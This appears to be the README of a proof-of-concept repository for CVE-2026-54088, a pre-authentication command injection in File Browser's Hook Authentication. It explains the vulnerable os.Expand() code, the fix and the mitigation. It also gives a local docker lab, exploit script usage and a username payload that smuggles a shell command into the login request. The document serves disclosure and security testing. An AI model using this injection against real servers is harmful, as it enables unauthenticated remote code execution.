
Proof-of-concept exploit for CVE-2026-54088, a pre-authentication OS command injection in File Browser <=2.63.5. Demonstrates shell injection via Hook Authentication to achieve remote code execution.
This repository contains a Proof of Concept (PoC) for CVE-2026-54088, a critical OS Command Injection vulnerability in File Browser (versions <= 2.63.5).
The vulnerability exists in the Hook Authentication feature. When an administrator configures File Browser to authenticate users with an external command, the login-supplied username and password values are expanded into the configured command string with os.Expand() without escaping. An unauthenticated remote attacker can inject shell syntax through the login request and execute arbitrary commands before authentication succeeds.
Discovered by: saku0512 (https://github.com/Saku0512)
This project is for educational and ethical security testing purposes only.
The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. Use this software only in environments where you have explicit permission to conduct security testing.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() splits the configured authentication command and expands credential placeholders with attacker-controlled request data:
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
If the hook command is configured as:
sh -c $USERNAME
and an attacker submits a username such as:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
the server executes the attacker-controlled shell script during the login attempt. No valid account or password is required.
The issue was fixed in commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f by removing credential substitution from the hook command string. The hook command is now executed as configured, while credentials are provided through environment variables only:
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
The removed vulnerable logic was the os.Expand() loop that rewrote command arguments with attacker-controlled credential values before exec.Command() was called. The fix also added regression tests to ensure injected credentials cannot alter the hook command and that USERNAME / PASSWORD are still available to hooks through the environment.
Start the vulnerable File Browser environment. The filebrowser-init service creates the database and enables Hook Authentication with a vulnerable command.
docker compose up -d
The target will be available at:
http://localhost:8080
Run the exploit script from this directory:
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
The exploit sends a single unauthenticated login request to /api/login. Authentication is expected to fail, but the injected command runs first.
Open the File Browser login page in a browser:
http://localhost:8080
Enter the following values in the login form, then click the login button:
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
The login attempt fails, but the Hook Authentication command runs before the authentication result is returned. Verify that the GUI login attempt created the marker file inside the container:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
If the file exists, pre-authentication RCE was triggered through the GUI login flow.
Verify that the command executed inside the File Browser container:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
If the file exists, pre-authentication RCE is confirmed.
docker compose down -v
Update File Browser to version 2.63.6 or later.
Credentials should be passed to hook commands only as environment variables, not interpolated into shell command strings. Any remaining command execution paths should avoid shell evaluation or use strict argument separation and escaping.